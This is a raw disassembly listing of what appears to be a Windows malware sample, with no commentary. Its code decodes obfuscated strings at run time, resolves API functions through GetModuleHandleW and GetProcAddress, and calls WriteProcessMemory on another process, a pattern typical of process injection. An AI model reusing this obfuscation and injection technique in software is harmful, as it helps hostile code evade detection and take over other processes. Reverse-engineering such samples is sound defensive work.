movzx eax, byte [0x14009c890]
mov byte [rbp + 0x190], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002c20f
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x178], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x17c]
xorps xmm2, xmm1
movd dword [rbp + 0x17c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x180]
xorps xmm2, xmm1
movd dword [rbp + 0x180], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x184]
xorps xmm2, xmm1
movd dword [rbp + 0x184], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x188]
xorps xmm2, xmm1
movd dword [rbp + 0x188], xmm2
movdqa xmm2, xmmword [0x14009e3d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x18c]
xorps xmm2, xmm1
movd dword [rbp + 0x18c], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x178]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14002c220
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x10d0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x10d0]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0x10d0]
call fcn.1400523c0
mov r9, qword [rbp + 0x14c8]
lea r9, [r9*2 + 2]
lea rax, [rbp + 0x14d8]
mov qword [rsp + 0x20], rax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14002c4d4
lea rdx, [rbp + 0x1230]
call fcn.14002fc60
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x14002f854
cmp r12d, 2
jl 0x14002c494
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
mov ebx, r13d
mov r8d, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jge 0x14002f854
jmp 0x14002c4a0
movups xmm0, xmmword [0x14009d370]
movups xmmword [rbp + 0x840], xmm0
movsd xmm0, qword [0x14009d380]
movsd qword [rbp + 0x850], xmm0
mov eax, dword [0x14009d388]
mov dword [rbp + 0x858], eax
movzx eax, byte [0x14009d38c]
mov byte [rbp + 0x85c], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002c63a
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x840]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x18
jl 0x14002c540
cmp r8d, 0x1d
jge 0x14002c683
movsxd rax, r8d
lea r9, [rbp + 0x840]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14002c650
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x10f0]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x10f0]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0x10f0]
call fcn.1400523c0
movups xmm4, xmmword [str._PDY_U_t_t]
movups xmmword [rbp + 0x428], xmm4
movq xmm5, qword [0x14009c998]
movq qword [rbp + 0x438], xmm5
movzx eax, word [0x14009c9a0]
mov word [rbp + 0x440], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002c843
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x428], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x430]
xorps xmm3, xmm0
movq qword [rbp + 0x430], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x438], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x428]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x14002c860
lea rcx, [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x14002c90b
lea rdx, [rbp + 0x1188]
call fcn.14002fc90
mov r9, rax
cmp byte [rax + 0xf], 0
je 0x14002fa2a
cmp r12d, 2
jge 0x14002f87b
mov r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
mul ebx
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x10
jge 0x14002fa2a
jmp 0x14002c8e0
movups xmm2, xmmword [0x14009e208]
movups xmmword [rbp + 0x260], xmm2
movsd xmm0, qword [0x14009e218]
movsd qword [rbp + 0x270], xmm0
movzx eax, word [0x14009e220]
mov word [rbp + 0x278], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002cbed
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x260], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x264]
xorps xmm2, xmm1
movd dword [rbp + 0x264], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x268]
xorps xmm2, xmm1
movd dword [rbp + 0x268], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x26c]
xorps xmm2, xmm1
movd dword [rbp + 0x26c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x270]
xorps xmm2, xmm1
movd dword [rbp + 0x270], xmm2
movdqa xmm6, xmmword [0x14009e3d0]
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x274]
xorps xmm2, xmm1
movd dword [rbp + 0x274], xmm2
mov r8d, 0x18
jmp 0x14002cbf5
movdqa xmm6, xmmword [0x14009e3d0]
mov eax, r8d
lea r9, [rbp + 0x260]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14002cc10
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0xe50]
call fcn.140005500
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xe50]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xe50]
call fcn.1400523c0
movsd xmm0, qword [str.xZWStPXI_OGh_]
movsd qword [rbp + 0x98], xmm0
mov ecx, dword [0x14009be38]
mov dword [rbp + 0xa0], ecx
movzx eax, byte [0x14009be3c]
mov byte [rbp + 0xa4], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002ce00
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.xZWStPXI_OGh_]
xorps xmm1, xmm0
movd dword [rbp + 0x98], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
xorps xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0xa0], xmm2
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14002ce10
lea rdx, [rbp + 0x98]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x14002d006
lea rdx, [rbp + 0x1178]
call fcn.14002fca0
mov r9, rax
cmp byte [rax + 0xe], 0
je 0x14002fa51
cmp r12d, 2
jl 0x14002cfcc
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
mov ebx, esi
mov r8d, ebx
add r8, r9
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xf
jge 0x14002fa51
jmp 0x14002cfd2
movups xmm2, xmmword [str.sPBgJVYzXYLZ32b]
movups xmmword [rbp + 0x1d8], xmm2
movsd xmm0, qword [0x14009baf8]
movsd qword [rbp + 0x1e8], xmm0
movzx eax, byte [0x14009bb00]
mov byte [rbp + 0x1f0], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002d2dd
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1d8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1dc]
xorps xmm2, xmm1
movd dword [rbp + 0x1dc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e0]
xorps xmm2, xmm1
movd dword [rbp + 0x1e0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e4]
xorps xmm2, xmm1
movd dword [rbp + 0x1e4], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e8]
xorps xmm2, xmm1
movd dword [rbp + 0x1e8], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ec]
xorps xmm2, xmm1
movd dword [rbp + 0x1ec], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x1d8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14002d2f0
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0xd50]
call fcn.140005500
nop
